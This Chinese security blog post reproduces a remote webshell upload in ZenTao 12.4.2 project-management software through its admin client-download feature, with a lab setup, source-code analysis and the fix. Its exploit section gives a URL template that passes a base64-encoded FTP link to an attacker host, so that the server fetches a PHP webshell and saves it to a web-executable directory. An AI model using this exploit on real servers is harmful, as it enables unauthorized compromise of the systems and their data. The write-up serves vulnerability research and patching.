禅道12.4.2后台管理员权限Getshell复现

2020-11-19 10,138

上方蓝色字体关注我们,一起学安全!
作者:口算md5@Timeline Sec
本文字数:1508
阅读时长:5~6min
声明:请勿用作违法用途,否则后果自负


0x01 简介


禅道是第一款国产的开源项目管理软件,她的核心管理思想基于敏捷方法scrum,内置了产品管理和项目管理,同时又根据国内研发现状补充了测试管理、计划管理、发布管理、文档管理、事务管理等功能,在一个软件中就可以将软件研发中的需求、任务、bug、用例、计划、发布等要素有序的跟踪管理起来,完整地覆盖了项目管理的核心流程。


0x02 漏洞概述


禅道12.4.2版本存在任意文件下载漏洞,该漏洞是因为client类中download方法中过滤不严谨可以使用ftp达成下载文件的目的。且下载文件存储目录可解析php文件,造成getshell。


0x03 影响版本


禅道≤ 12.4.2


0x04 环境搭建


环境:phpStudy+禅道12.4.2

1、官网下载禅道12.4.2

因为我们要调试代码,所以下载源码,不用官方的集成环境,这里我用的是中文版的那个源码。

https://www.zentao.net/dynamic/zentaopms12.4.2-80263.html


2、源码安装






这里我用的是PATH_INFO的传参方式,默认的get形式也一样已利用漏洞,有兴趣可以自己研究下。



设置密码

官方安装说明链接:

https://www.zentao.net/book/zentaopmshelp/101.html


0x05 漏洞复现


EXP:

http://127.0.0.1/zentao/client-download-1-<base64 encode webshell download link>-1.html

http://127.0.0.1/zentao/data/client/1/<download link filename>


目录根据自己环境的不同自行修改下,base64编码的那串是ftp链接

此处为ftp://192.168.5.104/a.php的base64的编码




0x06 漏洞分析


该漏洞主要是因为download中的downloadZipPackage函数过滤不严谨,可以使用ftp绕过。


1、传参调用分析

先看下怎么传参和调用的

在index.php的loadModule()断下,看下参数



所以就进入到了client类的download方法,参数为(1,那串base64,1)


2、dwonload函数分析

函数get()

public function download($version = '', $link = '', $os = '')
{
set_time_limit(0);
$result = $this->client->downloadZipPackage($version, $link);
if($result == false) $this->send(array('result' => 'fail', 'message' => $this->lang->client->downloadFail));
$client = $this->client->edit($version, $result, $os);
if($client == false) $this->send(array('result' => 'fail', 'message' => $this->lang->client->saveClientError));
$this->send(array('result' => 'success', 'client' => $client, 'message' => $this->lang->saveSuccess, 'locate'=> inlink('browse')));
}


大概读一读代码

先是个downloadZipPackage

然后是针对各种错误情况的返回

最后是个成功的回显

那么重点就来到了downloadZipPackage

public function downloadZipPackage($version, $link)
{
$decodeLink = helper::safe64Decode($link);
if(preg_match('/^https?:///', $decodeLink)) return false;

return parent::downloadZipPackage($version, $link);
}


这里就是解个base64,然后判断下是否是http的,然后就返回它父类的同名方法的返回结果了


可以看到ftp的链接成功绕过了正则,进入到了父类同名函数

/*** Download zip package.* @param $version* @param $link* @return bool | string*/public function downloadZipPackage($version, $link){ignore_user_abort(true);set_time_limit(0);if(empty($version) || empty($link)) return false;$dir = "data/client/" . $version . '/';$link = helper::safe64Decode($link);$file = basename($link);if(!is_dir($this->app->wwwRoot . $dir)){mkdir($this->app->wwwRoot . $dir, 0755, true);}if(!is_dir($this->app->wwwRoot . $dir)) return false;if(file_exists($this->app->wwwRoot . $dir . $file)){return commonModel::getSysURL() . $this->config->webRoot . $dir . $file;}ob_clean();ob_end_flush();

$local = fopen($this->app->wwwRoot . $dir . $file, 'w');$remote = fopen($link, 'rb');if($remote === false) return false;while(!feof($remote)){$buffer = fread($remote, 4096);fwrite($local, $buffer);}fclose($local);fclose($remote);return commonModel::getSysURL() . $this->config->webRoot . $dir . $file;}}


父类这个就没啥了,就是个正常的下载,写文件

路径是$dir = "data/client/" . $version . '/';


0x07 修复方式



1、升级到禅道12.4.3及之后的版本

参考链接:

https://www.t00ls.net/redirect-58415.html#lastpost



阅读原文看更多复现文章
Timeline Sec 团队
安全路上,与你并肩前行











本文作者:Timeline Sec

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/146782.html

Tags:
评论  (0)
快来写下你的想法吧!

Timeline Sec

文章数:38 积分: 190

欢迎关注公众号Timeline Sec

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号